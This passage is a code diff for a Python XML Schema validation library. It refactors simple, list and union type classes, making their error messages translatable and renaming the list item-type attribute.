ElementType, AtomicValueType, ComponentClassType, \ IterDecodeType, IterEncodeType, BaseXsdType, SchemaType, DecodedValueType, \ EncodedValueType @@ -22,11 +22,12 @@ from ..names import XSD_NAMESPACE, XSD_ANY_TYPE, XSD_SIMPLE_TYPE, XSD_PATTERN, \ XSD_ANY_ATOMIC_TYPE, XSD_ATTRIBUTE, XSD_ATTRIBUTE_GROUP, XSD_ANY_ATTRIBUTE, \ XSD_MIN_INCLUSIVE, XSD_MIN_EXCLUSIVE, XSD_MAX_INCLUSIVE, XSD_MAX_EXCLUSIVE, \ - XSD_LENGTH, XSD_MIN_LENGTH, XSD_MAX_LENGTH, XSD_WHITE_SPACE, XSD_ENUMERATION,\ + XSD_LENGTH, XSD_MIN_LENGTH, XSD_MAX_LENGTH, XSD_WHITE_SPACE, XSD_ENUMERATION, \ XSD_LIST, XSD_ANY_SIMPLE_TYPE, XSD_UNION, XSD_RESTRICTION, XSD_ANNOTATION, \ XSD_ASSERTION, XSD_ID, XSD_IDREF, XSD_FRACTION_DIGITS, XSD_TOTAL_DIGITS, \ - XSD_EXPLICIT_TIMEZONE, XSD_ERROR, XSD_ASSERT, XSD_QNAME, XSD_UNTYPED_ATOMIC -from ..helpers import get_prefixed_qname, local_name + XSD_EXPLICIT_TIMEZONE, XSD_ERROR, XSD_ASSERT, XSD_QNAME, XSD_NOTATION +from ..translation import gettext as _ +from ..helpers import local_name, get_extended_qname from .exceptions import XMLSchemaValidationError, XMLSchemaEncodeError, \ XMLSchemaDecodeError, XMLSchemaParseError @@ -37,7 +38,7 @@ XSD_11_LIST_FACETS, XSD_10_UNION_FACETS, XSD_11_UNION_FACETS, MULTIPLE_FACETS FacetsValueType = Union[XsdFacet, Callable[[Any], None], List[XsdAssertionFacet]] -PythonTypeClasses = Type[Any] +PythonTypeClasses = Union[Type[Any], Tuple[Type[Any]]] class XsdSimpleType(XsdType, ValidationMixin[Union[str, bytes], DecodedValueType]): @@ -66,8 +67,10 @@ class XsdSimpleType(XsdType, ValidationMixin[Union[str, bytes], DecodedValueType allow_empty = True facets: Dict[Optional[str], FacetsValueType] - python_type: PythonTypeClasses - instance_types: Union[PythonTypeClasses, Tuple[PythonTypeClasses]] + python_type: Type[Any] + instance_types: PythonTypeClasses + to_python: Union[Type[Any], Callable[[Any], Any]] + from_python: Union[Type[str], Callable[[Any], Any]] # Unicode string as default datatype for XSD simple types python_type = instance_types = to_python = from_python = str @@ -78,12 +81,12 @@ def __init__(self, elem: ElementType, name: Optional[str] = None, facets: Optional[Dict[Optional[str], FacetsValueType]] = None) -> None: - super(XsdSimpleType, self).__init__(elem, schema, parent, name) + super().__init__(elem, schema, parent, name) if not hasattr(self, 'facets'): self.facets = facets if facets is not None else {} def __setattr__(self, name: str, value: Any) -> None: - super(XsdSimpleType, self).__setattr__(name, value) + super().__setattr__(name, value) if name == 'facets': if not isinstance(self, XsdAtomicBuiltin): self._parse_facets(value) @@ -129,24 +132,24 @@ def _parse_facets(self, facets: Any) -> None: if facets and self.base_type is not None: if isinstance(self.base_type, XsdSimpleType): if self.base_type.name == XSD_ANY_SIMPLE_TYPE: - self.parse_error( - "facets not allowed for a direct derivation of xs:anySimpleType" - ) + msg = _("facets not allowed for a direct derivation of xs:anySimpleType") + self.parse_error(msg) elif self.base_type.has_simple_content(): if self.base_type.content.name == XSD_ANY_SIMPLE_TYPE: - self.parse_error( - "facets not allowed for a direct content derivation of xs:anySimpleType" - ) + msg = _("facets not allowed for a direct content " + "derivation of xs:anySimpleType") + self.parse_error(msg) # Checks the applicability of the facets if any(k not in self.admitted_facets for k in facets if k is not None): - reason = "one or more facets are not applicable, admitted set is %r:" - self.parse_error(reason % {local_name(e) for e in self.admitted_facets if e}) + msg = _("one or more facets are not applicable, admitted set is {!r}") + self.parse_error(msg.format({local_name(e) for e in self.admitted_facets if e})) # Check group base_type base_type = {t.base_type for t in facets.values() if isinstance(t, XsdFacet)} if len(base_type) > 1: - self.parse_error("facet group must have the same base_type: %r" % base_type) + msg = _("facet group must have the same base type: %r") + self.parse_error(msg % base_type) base_type = base_type.pop() if base_type else None # Checks length based facets @@ -155,46 +158,61 @@ def _parse_facets(self, facets: Any) -> None: max_length = getattr(facets.get(XSD_MAX_LENGTH), 'value', None) if length is not None: if length < 0: - self.parse_error("'length' value must be non negative integer") + self.parse_error(_("'length' value must be non a negative integer")) + if min_length is not None: if min_length > length: - self.parse_error("'minLength' value must be less or equal to 'length'") + msg = _("'minLength' value must be less than or equal to 'length'") + self.parse_error(msg) min_length_facet = base_type.get_facet(XSD_MIN_LENGTH) length_facet = base_type.get_facet(XSD_LENGTH) if (min_length_facet is None or (length_facet is not None and length_facet.base_type == min_length_facet.base_type)): - self.parse_error("cannot specify both 'length' and 'minLength'") + msg = _("cannot specify both 'length' and 'minLength'") + self.parse_error(msg) + if max_length is not None: if max_length < length: - self.parse_error("'maxLength' value must be greater or equal to 'length'") + msg = _("'maxLength' value must be greater or equal to 'length'") + self.parse_error(msg) + max_length_facet = base_type.get_facet(XSD_MAX_LENGTH) length_facet = base_type.get_facet(XSD_LENGTH) if max_length_facet is None \ or (length_facet is not None and length_facet.base_type == max_length_facet.base_type): - self.parse_error("cannot specify both 'length' and 'maxLength'") + msg = _("cannot specify both 'length' and 'maxLength'") + self.parse_error(msg) + min_length = max_length = length elif min_length is not None or max_length is not None: min_length_facet = base_type.get_facet(XSD_MIN_LENGTH) max_length_facet = base_type.get_facet(XSD_MAX_LENGTH) if min_length is not None: if min_length < 0: - self.parse_error("'minLength' value must be non negative integer") + msg = _("'minLength' value must be a non negative integer") + self.parse_error(msg) if max_length is not None and max_length < min_length: - self.parse_error("'maxLength' value is lesser than 'minLength'") + msg = _("'maxLength' value is less than 'minLength'") + self.parse_error(msg) if min_length_facet is not None and min_length_facet.value > min_length: - self.parse_error("'minLength' has a lesser value than parent") + msg = _("'minLength' has a lesser value than parent") + self.parse_error(msg) if max_length_facet is not None and min_length > max_length_facet.value: - self.parse_error("'minLength' has a greater value than parent 'maxLength'") + msg = _("'minLength' has a greater value than parent 'maxLength'") + self.parse_error(msg) if max_length is not None: if max_length < 0: - self.parse_error("'maxLength' value mu st be non negative integer") + msg = _("'maxLength' value must be a non negative integer") + self.parse_error(msg) if min_length_facet is not None and min_length_facet.value > max_length: - self.parse_error("'maxLength' has a lesser value than parent 'minLength'") + msg = _("'maxLength' has a lesser value than parent 'minLength'") + self.parse_error(msg) if max_length_facet is not None and max_length > max_length_facet.value: - self.parse_error("'maxLength' has a greater value than parent") + msg = _("'maxLength' has a greater value than parent") + self.parse_error(msg) # Checks min/max values min_inclusive = getattr(facets.get(XSD_MIN_INCLUSIVE), 'value', None) @@ -204,39 +222,48 @@ def _parse_facets(self, facets: Any) -> None: if min_inclusive is not None: if min_exclusive is not None: - self.parse_error("cannot specify both 'minInclusive' and 'minExclusive") + msg = _("cannot specify both 'minInclusive' and 'minExclusive'") + self.parse_error(msg) if max_inclusive is not None and min_inclusive > max_inclusive: - self.parse_error("'minInclusive' must be less or equal to 'maxInclusive'") + msg = _("'minInclusive' must be less or equal to 'maxInclusive'") + self.parse_error(msg) elif max_exclusive is not None and min_inclusive >= max_exclusive: - self.parse_error("'minInclusive' must be lesser than 'maxExclusive'") + msg = _("'minInclusive' must be lesser than 'maxExclusive'") + self.parse_error(msg) elif min_exclusive is not None: if max_inclusive is not None and min_exclusive >= max_inclusive: - self.parse_error("'minExclusive' must be lesser than 'maxInclusive'") + msg = _("'minExclusive' must be lesser than 'maxInclusive'") + self.parse_error(msg) elif max_exclusive is not None and min_exclusive > max_exclusive: - self.parse_error("'minExclusive' must be less or equal to 'maxExclusive'") + msg = _("'minExclusive' must be less or equal to 'maxExclusive'") + self.parse_error(msg) if max_inclusive is not None and max_exclusive is not None: - self.parse_error("cannot specify both 'maxInclusive' and 'maxExclusive") + self.parse_error(_("cannot specify both 'maxInclusive' and 'maxExclusive'")) # Checks fraction digits if XSD_TOTAL_DIGITS in facets: if XSD_FRACTION_DIGITS in facets and \ facets[XSD_TOTAL_DIGITS].value < facets[XSD_FRACTION_DIGITS].value: - self.parse_error("fractionDigits facet value cannot be lesser than the " - "value of totalDigits facet") + msg = _("fractionDigits facet value cannot be lesser " + "than the value of totalDigits facet") + self.parse_error(msg) + total_digits = base_type.get_facet(XSD_TOTAL_DIGITS) if total_digits is not None and total_digits.value < facets[XSD_TOTAL_DIGITS].value: - self.parse_error("totalDigits facet value cannot be greater than " - "the value of the same facet in the base type") + msg = _("totalDigits facet value cannot be greater than " + "the value of the same facet in the base type") + self.parse_error(msg) # Checks XSD 1.1 facets if XSD_EXPLICIT_TIMEZONE in facets: explicit_tz_facet = base_type.get_facet(XSD_EXPLICIT_TIMEZONE) if explicit_tz_facet and explicit_tz_facet.value in ('prohibited', 'required') \ and facets[XSD_EXPLICIT_TIMEZONE].value != explicit_tz_facet.value: - self.parse_error("the explicitTimezone facet value cannot be changed if the base " - "type has the same facet with value %r" % explicit_tz_facet.value) + msg = _("the explicitTimezone facet value cannot be changed " + "if the base type has the same facet with value %r") + self.parse_error(msg % explicit_tz_facet.value) self.min_length = min_length self.max_length = max_length @@ -320,6 +347,15 @@ def is_complex() -> bool: def content_type_label(self) -> str: return 'empty' if self.max_length == 0 else 'simple' + @property + def root_type(self) -> BaseXsdType: + if self.base_type is None: + return self + elif isinstance(self.base_type, XsdAtomic): + return self.base_type.primitive_type + else: + return self.base_type.root_type + @property def sequence_type(self) -> str: if self.is_empty(): @@ -327,16 +363,16 @@ def sequence_type(self) -> str: root_type = self.root_type if root_type.name is not None: - sequence_type = cast(str, root_type.prefixed_name) + sequence_type = f'xs:{root_type.local_name}' else: - sequence_type = get_prefixed_qname(XSD_UNTYPED_ATOMIC, self.namespaces) + sequence_type = 'xs:untypedAtomic' if not self.is_list(): return sequence_type elif self.is_emptiable(): - return '{}*'.format(sequence_type) + return f'{sequence_type}*' else: - return '{}+'.format(sequence_type) + return f'{sequence_type}+' def is_empty(self) -> bool: return self.max_length == 0 or \ @@ -411,44 +447,45 @@ def text_decode(self, text: str) -> AtomicValueType: def iter_decode(self, obj: Union[str, bytes], validation: str = 'lax', **kwargs: Any) -> IterDecodeType[DecodedValueType]: - if obj is None: - yield obj - else: - text = self.normalize(obj) - if self.patterns is not None: - try: - self.patterns(text) - except XMLSchemaValidationError as err: - yield err + text = self.normalize(obj) + if self.patterns is not None: + try: + self.patterns(text) + except XMLSchemaValidationError as err: + yield err - for validator in self.validators: - try: - validator(text) - except XMLSchemaValidationError as err: - yield err + for validator in self.validators: + try: + validator(text) + except XMLSchemaValidationError as err: + yield err - yield text + yield text def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ -> IterEncodeType[EncodedValueType]: - if not isinstance(obj, (str, bytes)): - reason = "a {!r} or {!r} object required".format(str, bytes) - yield XMLSchemaEncodeError(self, obj, str, reason) - else: + if isinstance(obj, (str, bytes)): text = self.normalize(obj) - if self.patterns is not None: - try: - self.patterns(text) - except XMLSchemaValidationError as err: - yield err + elif obj is None: + text = '' + elif isinstance(obj, list): + text = ' '.join(str(x) for x in obj) + else: + text = str(obj) - for validator in self.validators: - try: - validator(text) - except XMLSchemaValidationError as err: - yield err + if self.patterns is not None: + try: + self.patterns(text) + except XMLSchemaValidationError as err: + yield err - yield text + for validator in self.validators: + try: + validator(text) + except XMLSchemaValidationError as err: + yield err + + yield text def get_facet(self, tag: str) -> Optional[FacetsValueType]: return self.facets.get(tag) @@ -476,7 +513,7 @@ def __init__(self, elem: ElementType, self.primitive_type = self else: self.base_type = base_type - super(XsdAtomic, self).__init__(elem, schema, parent, name, facets) + super().__init__(elem, schema, parent, name, facets) def __repr__(self) -> str: if self.name is None: @@ -487,7 +524,7 @@ def __repr__(self) -> str: return '%s(name=%r)' % (self.__class__.__name__, self.prefixed_name) def __setattr__(self, name: str, value: Any) -> None: - super(XsdAtomic, self).__setattr__(name, value) + super().__setattr__(name, value) if name == 'base_type': if not hasattr(self, 'white_space'): try: @@ -542,12 +579,12 @@ class XsdAtomicBuiltin(XsdAtomic): def __init__(self, elem: ElementType, schema: SchemaType, name: str, - python_type: Type[Any], + python_type: PythonTypeClasses, base_type: Optional['XsdAtomicBuiltin'] = None, admitted_facets: Optional[Set[str]] = None, facets: Optional[Dict[Optional[str], FacetsValueType]] = None, - to_python: Any = None, - from_python: Any = None) -> None: + to_python: Optional[Callable[[Any], Any]] = None, + from_python: Optional[Callable[[Any], Any]] = None) -> None: """ :param name: the XSD type's qualified name. :param python_type: the correspondent Python's type. If a tuple of types \ @@ -562,15 +599,16 @@ def __init__(self, elem: ElementType, self.instance_types, python_type = python_type, python_type[0] else: self.instance_types = python_type - if not callable(python_type): - raise XMLSchemaTypeError("%r object is not callable" % python_type.__class__) + + if not isinstance(python_type, type): + raise XMLSchemaTypeError(f"{python_type!r} object is not a type") if base_type is None and not admitted_facets and name != XSD_ERROR: raise XMLSchemaValueError("argument 'admitted_facets' must be " "a not empty set of a primitive type") self._admitted_facets = admitted_facets - super(XsdAtomicBuiltin, self).__init__(elem, schema, None, name, facets, base_type) + super().__init__(elem, schema, None, name, facets, base_type) self.python_type = python_type self.to_python = to_python if to_python is not None else python_type self.from_python = from_python if from_python is not None else str @@ -587,8 +625,9 @@ def iter_decode(self, obj: Union[str, bytes], validation: str = 'lax', **kwargs: if isinstance(obj, (str, bytes)): obj = self.normalize(obj) elif obj is not None and not isinstance(obj, self.instance_types): - reason = "value is not an instance of {!r}".format(self.instance_types) - yield XMLSchemaDecodeError(self, obj, self.to_python, reason) + reason = _("value is not an instance of {!r}").format(self.instance_types) + error = XMLSchemaDecodeError(self, obj, self.to_python, reason) + yield self.validation_error(validation, error, **kwargs) if validation == 'skip': try: @@ -606,13 +645,14 @@ def iter_decode(self, obj: Union[str, bytes], validation: str = 'lax', **kwargs: try: result = self.to_python(obj) except (ValueError, DecimalException) as err: - yield XMLSchemaDecodeError(self, obj, self.to_python, reason=str(err)) + error = XMLSchemaDecodeError(self, obj, self.to_python, reason=str(err)) + yield self.validation_error(validation, error, **kwargs) yield None return except TypeError: - # xs:error type (eg. an XSD 1.1 type alternative used to catch invalid values) - reason = "invalid value {!r}".format(obj) - yield self.validation_error(validation, error=reason, obj=obj) + # xs:error type (e.g. an XSD 1.1 type alternative used to catch invalid values) + reason = _("invalid value {!r}").format(obj) + yield self.validation_error(validation, reason, obj, **kwargs) yield None return @@ -622,7 +662,7 @@ def iter_decode(self, obj: Union[str, bytes], validation: str = 'lax', **kwargs: except XMLSchemaValidationError as err: yield err - if self.name not in {XSD_QNAME, XSD_IDREF, XSD_ID}: + if self.name not in (XSD_QNAME, XSD_IDREF, XSD_ID): pass elif self.name == XSD_QNAME: if ':' in obj: @@ -632,12 +672,12 @@ def iter_decode(self, obj: Union[str, bytes], validation: str = 'lax', **kwargs: pass else: try: - result = '{%s}%s' % (kwargs['namespaces'][prefix], name) + result = f"{{{kwargs['namespaces'][prefix]}}}{name}" except (TypeError, KeyError): try: if kwargs['source'].namespace != XSD_NAMESPACE: - reason = "unmapped prefix %r on QName" % prefix - yield self.validation_error(validation, error=reason, obj=obj) + reason = _("unmapped prefix %r in a QName") % prefix + yield self.validation_error(validation, reason, obj, **kwargs) except KeyError: pass else: @@ -647,7 +687,7 @@ def iter_decode(self, obj: Union[str, bytes], validation: str = 'lax', **kwargs: pass else: if default_namespace: - result = '{%s}%s' % (default_namespace, obj) + result = f'{{{default_namespace}}}{obj}' elif self.name == XSD_IDREF: try: @@ -670,20 +710,20 @@ def iter_decode(self, obj: Union[str, bytes], validation: str = 'lax', **kwargs: if not id_map[obj]: id_map[obj] = 1 else: - reason = "duplicated xs:ID value {!r}".format(obj) - yield self.validation_error(validation, error=reason, obj=obj) + reason = _("duplicated xs:ID value {!r}").format(obj) + yield self.validation_error(validation, reason, obj, **kwargs) else: if not id_map[obj]: id_map[obj] = 1 id_list.append(obj) if len(id_list) > 1 and self.xsd_version == '1.0': - reason = "no more than one attribute of type ID should " \ - "be present in an element" + reason = _("no more than one attribute of type ID should " + "be present in an element") yield self.validation_error(validation, reason, obj, **kwargs) elif obj not in id_list or self.xsd_version == '1.0': - reason = "duplicated xs:ID value {!r}".format(obj) - yield self.validation_error(validation, error=reason, obj=obj) + reason = _("duplicated xs:ID value {!r}").format(obj) + yield self.validation_error(validation, reason, obj, **kwargs) yield result @@ -702,13 +742,15 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ elif isinstance(obj, bool): types_: Any = self.instance_types if types_ is not bool or (isinstance(types_, tuple) and bool in types_): - reason = "boolean value {!r} requires a {!r} decoder".format(obj, bool) - yield XMLSchemaEncodeError(self, obj, self.from_python, reason) + reason = _("boolean value {0!r} requires a {1!r} decoder").format(obj, bool) + error = XMLSchemaEncodeError(self, obj, self.from_python, reason) + yield self.validation_error(validation, error, **kwargs) obj = self.python_type(obj) elif not isinstance(obj, self.instance_types): - reason = "{!r} is not an instance of {!r}".format(obj, self.instance_types) - yield XMLSchemaEncodeError(self, obj, self.from_python, reason) + reason = _("{0!r} is not an instance of {1!r}").format(obj, self.instance_types) + error = XMLSchemaEncodeError(self, obj, self.from_python, reason) + yield self.validation_error(validation, error, **kwargs) try: value = self.python_type(obj) @@ -717,15 +759,17 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ raise ValueError() obj = value except (ValueError, TypeError) as err: - yield XMLSchemaEncodeError(self, obj, self.from_python, reason=str(err)) + error = XMLSchemaEncodeError(self, obj, self.from_python, reason=str(err)) + yield self.validation_error(validation, error, **kwargs) yield None return else: if value == obj or str(value) == str(obj): obj = value else: - reason = "Invalid value {!r}".format(obj) - yield XMLSchemaEncodeError(self, obj, self.from_python, reason) + reason = _("invalid value {!r}").format(obj) + error = XMLSchemaEncodeError(self, obj, self.from_python, reason) + yield self.validation_error(validation, error, **kwargs) yield None return @@ -738,7 +782,8 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ try: text = self.from_python(obj) except ValueError as err: - yield XMLSchemaEncodeError(self, obj, self.from_python, reason=str(err)) + error = XMLSchemaEncodeError(self, obj, self.from_python, reason=str(err)) + yield self.validation_error(validation, error, **kwargs) yield None else: if self.patterns is not None: @@ -761,9 +806,9 @@ class XsdList(XsdSimpleType): Content: (annotation?, simpleType?) </list> """ - base_type: XsdSimpleType + item_type: XsdSimpleType _ADMITTED_TAGS = {XSD_LIST} - _white_space_elem = etree_element( + _white_space_elem = ElementTree.Element( XSD_WHITE_SPACE, attrib={'value': 'collapse', 'fixed': 'true'} ) @@ -774,11 +819,11 @@ def __init__(self, elem: ElementType, facets: Optional[Dict[Optional[str], FacetsValueType]] = { XSD_WHITE_SPACE: XsdWhiteSpaceFacet(self._white_space_elem, schema, self, self) } - super(XsdList, self).__init__(elem, schema, parent, name, facets) + super().__init__(elem, schema, parent, name, facets) def __repr__(self) -> str: if self.name is None: - return '%s(item_type=%r)' % (self.__class__.__name__, self.base_type) + return '%s(item_type=%r)' % (self.__class__.__name__, self.item_type) else: return '%s(name=%r)' % (self.__class__.__name__, self.prefixed_name) @@ -787,30 +832,34 @@ def __setattr__(self, name: str, value: Any) -> None: if value.tag == XSD_SIMPLE_TYPE: for child in value: if child.tag == XSD_LIST: - super(XsdList, self).__setattr__(name, child) + super().__setattr__(name, child) return - raise XMLSchemaValueError("a %r definition required for %r." % (XSD_LIST, self)) - elif name == 'base_type': + raise XMLSchemaValueError( + f"a {XSD_LIST!r} definition required for {self!r}" + ) + elif name == 'item_type': if not value.is_atomic(): - raise XMLSchemaValueError("%r: a list must be based on atomic data types." % self) + raise XMLSchemaValueError( + _("%r: a list must be based on atomic data types") % value + ) elif name == 'white_space' and value is None: value = 'collapse' - super(XsdList, self).__setattr__(name, value) + super().__setattr__(name, value) def _parse(self) -> None: - base_type: Any + item_type: Any child = self._parse_child_component(self.elem) if child is not None: # Case of a local simpleType declaration inside the list tag try: - base_type = self.schema.simple_type_factory(child, parent=self) + item_type = self.schema.simple_type_factory(child, parent=self) except XMLSchemaParseError as err: self.parse_error(err) - base_type = self.any_atomic_type + item_type = self.any_atomic_type if 'itemType' in self.elem.attrib: - self.parse_error("ambiguous list type declaration") + self.parse_error(_("ambiguous list type declaration")) else: # List tag with itemType attribute that refers to a global type @@ -818,38 +867,38 @@ def _parse(self) -> None: item_qname = self.schema.resolve_qname(self.elem.attrib['itemType']) except (KeyError, ValueError, RuntimeError) as err: if 'itemType' not in self.elem.attrib: - self.parse_error("missing list type declaration") + self.parse_error(_("missing list type declaration")) else: self.parse_error(err) - base_type = self.any_atomic_type + item_type = self.any_atomic_type else: try: - base_type = self.maps.lookup_type(item_qname) + item_type = self.maps.lookup_type(item_qname) except KeyError: - self.parse_error("unknown itemType %r" % self.elem.attrib['itemType']) - base_type = self.any_atomic_type + msg = _("unknown type {!r}") + self.parse_error(msg.format(self.elem.attrib['itemType'])) + item_type = self.any_atomic_type else: - if isinstance(base_type, tuple): - self.parse_error( - "circular definition found for type {!r}".format(item_qname) - ) - base_type = self.any_atomic_type + if isinstance(item_type, tuple): + msg = _("circular definition found for type {!r}") + self.parse_error(msg.format(item_qname)) + item_type = self.any_atomic_type - if base_type.final == '#all' or 'list' in base_type.final: - self.parse_error( - "'final' value of the itemType %r forbids derivation by list" % base_type - ) + if item_type.final == '#all' or 'list' in item_type.final: + msg = _("'final' value of the itemType %r forbids derivation by list") + self.parse_error(msg % item_type) - if base_type.name == XSD_ANY_ATOMIC_TYPE: - self.parse_error("Cannot use xs:anyAtomicType as base type of a user-defined type") + if item_type.name == XSD_ANY_ATOMIC_TYPE: + msg = _("cannot use xs:anyAtomicType as base type of a user-defined type") + self.parse_error(msg) try: - self.base_type = base_type + self.item_type = item_type except XMLSchemaValueError as err: self.parse_error(err) - self.base_type = self.any_atomic_type + self.item_type = self.any_atomic_type else: - if not base_type.allow_empty and self.min_length != 0: + if not item_type.allow_empty and self.min_length != 0: self.allow_empty = False @property @@ -861,8 +910,8 @@ def admitted_facets(self) -> Set[str]: return XSD_10_LIST_FACETS if self.xsd_version == '1.0' else XSD_11_LIST_FACETS @property - def item_type(self) -> BaseXsdType: - return self.base_type + def root_type(self) -> BaseXsdType: + return self.item_type.root_type def is_atomic(self) -> bool: return False @@ -881,7 +930,7 @@ def is_derived(self, other: Union[BaseXsdType, Tuple[ElementType, SchemaType]], return False elif other.name in self._special_types: return derivation != 'extension' - elif self.base_type is other: + elif self.item_type is other: return True else: return False @@ -890,18 +939,20 @@ def iter_components(self, xsd_classes: ComponentClassType = None) \ -> Iterator[XsdComponent]: if xsd_classes is None or isinstance(self, xsd_classes): yield self - if self.base_type.parent is not None: - yield from self.base_type.iter_components(xsd_classes) + if self.item_type.parent is not None: + yield from self.item_type.iter_components(xsd_classes) - def iter_decode(self, obj: Union[str, bytes], # type: ignore[override] + def iter_decode(self, obj: Union[str, bytes], validation: str = 'lax', **kwargs: Any) \ - -> IterDecodeType[List[DecodedValueType]]: + -> IterDecodeType[Union[XMLSchemaValidationError, + List[Optional[AtomicValueType]]]]: items = [] for chunk in self.normalize(obj).split(): - for result in self.base_type.iter_decode(chunk, validation, **kwargs): + for result in self.item_type.iter_decode(chunk, validation, **kwargs): if isinstance(result, XMLSchemaValidationError): yield result else: + assert not isinstance(result, list) items.append(result) else: yield items @@ -913,7 +964,7 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ encoded_items: List[Any] = [] for item in obj: - for result in self.base_type.iter_encode(item, validation, **kwargs): + for result in self.item_type.iter_encode(item, validation, **kwargs): if isinstance(result, XMLSchemaValidationError): yield result else: @@ -942,7 +993,7 @@ def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional[XsdComponent], name: Optional[str] = None) -> None: - super(XsdUnion, self).__init__(elem, schema, parent, name, facets=None) + super().__init__(elem, schema, parent, name, facets=None) def __repr__(self) -> str: if self.name is None: @@ -955,15 +1006,18 @@ def __setattr__(self, name: str, value: Any) -> None: if value.tag == XSD_SIMPLE_TYPE: for child in value: if child.tag == XSD_UNION: - super(XsdUnion, self).__setattr__(name, child) + super().__setattr__(name, child) return - raise XMLSchemaValueError("a %r definition required for %r." % (XSD_UNION, self)) + raise XMLSchemaValueError( + f"a {XSD_UNION!r} definition required for {self!r}" + ) elif name == 'white_space': if not (value is None or value == 'collapse'): - raise XMLSchemaValueError("Wrong value % for attribute 'white_space'." % value) + msg = _("wrong value %r for attribute 'white_space'") + raise XMLSchemaValueError(msg % value) value = 'collapse' - super(XsdUnion, self).__setattr__(name, value) + super().__setattr__(name, value) def _parse(self) -> None: mt: Any @@ -988,31 +1042,32 @@ def _parse(self) -> None: try: mt = self.maps.lookup_type(type_qname) except KeyError: - self.parse_error("unknown member type %r" % type_qname) + self.parse_error(_("unknown type {!r}").format(type_qname)) mt = self.any_atomic_type except XMLSchemaParseError as err: self.parse_error(err) mt = self.any_atomic_type if isinstance(mt, tuple): - self.parse_error( - "circular definition found on xs:union type {!r}".format(self.name) - ) + msg = _("circular definition found on xs:union type {!r}") + self.parse_error(msg.format(self.name)) continue elif not isinstance(mt, self._ADMITTED_TYPES): - self.parse_error("a {!r} required, not {!r}".format(self._ADMITTED_TYPES, mt)) + msg = _("a {0!r} required, not {1!r}") + self.parse_error(msg.format(self._ADMITTED_TYPES, mt)) continue elif mt.final == '#all' or 'union' in mt.final: - self.parse_error("'final' value of the memberTypes %r " - "forbids derivation by union" % member_types) + msg = _("'final' value of the memberTypes %r forbids derivation by union") + self.parse_error(msg % member_types) member_types.append(mt) if not member_types: - self.parse_error("missing xs:union type declarations") + self.parse_error(_("missing xs:union type declarations")) self.member_types = [self.any_atomic_type] elif any(mt.name == XSD_ANY_ATOMIC_TYPE for mt in member_types): - self.parse_error("Cannot use xs:anyAtomicType as base type of a user-defined type") + msg = _("cannot use xs:anyAtomicType as base type of a user-defined type") + self.parse_error(msg) else: self.member_types = member_types if all(not mt.allow_empty for mt in member_types): @@ -1050,18 +1105,17 @@ def iter_components(self, xsd_classes: ComponentClassType = None) \ for mt in filter(lambda x: x.parent is not None, self.member_types): yield from mt.iter_components(xsd_classes) - def iter_decode(self, obj: Any, validation: str = 'lax', + def iter_decode(self, obj: AtomicValueType, validation: str = 'lax', patterns: Optional[XsdPatternFacets] = None, **kwargs: Any) -> IterDecodeType[DecodedValueType]: - # Try decoding the whole text + # Try decoding the whole text (or validate the decoded atomic value) for member_type in self.member_types: for result in member_type.iter_decode(obj, validation='lax', **kwargs): if not isinstance(result, XMLSchemaValidationError): - if patterns: - obj = member_type.normalize(obj) + if patterns and isinstance(obj, (str, bytes)): try: - patterns(obj) + patterns(member_type.normalize(obj)) except XMLSchemaValidationError as err: yield err @@ -1069,9 +1123,14 @@ def iter_decode(self, obj: Any, validation: str = 'lax', return break - if ' ' not in obj.strip(): - reason = "invalid value %r." % obj - yield XMLSchemaDecodeError(self, obj, self.member_types, reason) + if isinstance(obj, bytes): + obj = obj.decode('utf-8') + + if not isinstance(obj, str) or ' ' not in obj.strip(): + reason = _("invalid value {!r}").format(obj) + error = XMLSchemaDecodeError(self, obj, self.member_types, reason) + yield self.validation_error(validation, error, **kwargs) + return items = [] not_decodable = [] @@ -1091,8 +1150,9 @@ def iter_decode(self, obj: Any, validation: str = 'lax', items.append(str(chunk)) if not_decodable: - reason = "no type suitable for decoding the values %r." % not_decodable - yield XMLSchemaDecodeError(self, obj, self.member_types, reason) + reason = _("no type suitable for decoding the values %r") % not_decodable + error = XMLSchemaDecodeError(self, obj, self.member_types, reason) + yield self.validation_error(validation, error, **kwargs) yield items if len(items) > 1 else items[0] if items else None @@ -1106,7 +1166,7 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ return elif validation == 'strict': # In 'strict' mode avoid lax encoding by similar types - # (eg. float encoded by int) + # (e.g. float encoded by int) break if hasattr(obj, '__iter__') and not isinstance(obj, (str, bytes)): @@ -1125,8 +1185,9 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ break if validation != 'skip': - reason = "no type suitable for encoding the object." - yield XMLSchemaEncodeError(self, obj, self.member_types, reason) + reason = _("no type suitable for encoding the object") + error = XMLSchemaEncodeError(self, obj, self.member_types, reason) + yield self.validation_error(validation, error, **kwargs) yield None else: yield str(obj) @@ -1162,7 +1223,7 @@ def __setattr__(self, name: str, value: Any) -> None: raise XMLSchemaValueError( "an xs:restriction definition required for %r." % self ) - super(XsdAtomicRestriction, self).__setattr__(name, value) + super().__setattr__(name, value) def _parse(self) -> None: elem = self.elem @@ -1173,7 +1234,8 @@ def _parse(self) -> None: elem = cast(ElementType, self._parse_child_component(elem)) if self.name is not None and self.parent is not None: - self.parse_error("'name' attribute in a local simpleType definition") + msg = _("'name' attribute in a local simpleType definition") + self.parse_error(msg) base_type: Any = None facets: Any = {} @@ -1189,46 +1251,49 @@ def _parse(self) -> None: else: if base_qname == self.name: if self.redefine is None: - self.parse_error("wrong definition with self-reference") + msg = _("wrong definition with self-reference") + self.parse_error(msg) base_type = self.any_atomic_type else: base_type = self.base_type else: if self.redefine is not None: - self.parse_error("wrong redefinition without self-reference") + msg = _("wrong redefinition without self-reference") + self.parse_error(msg) try: base_type = self.maps.lookup_type(base_qname) except KeyError: - self.parse_error("unknown type %r" % elem.attrib['base']) + self.parse_error(_("unknown type {!r}").format(elem.attrib['base'])) base_type = self.any_atomic_type except XMLSchemaParseError as err: self.parse_error(err) base_type = self.any_atomic_type else: if isinstance(base_type, tuple): - msg = "circularity definition between {!r} and {!r}" + msg = _("circular definition found between {0!r} and {1!r}") self.parse_error(msg.format(self, base_qname)) base_type = self.any_atomic_type if base_type.is_simple() and base_type.name == 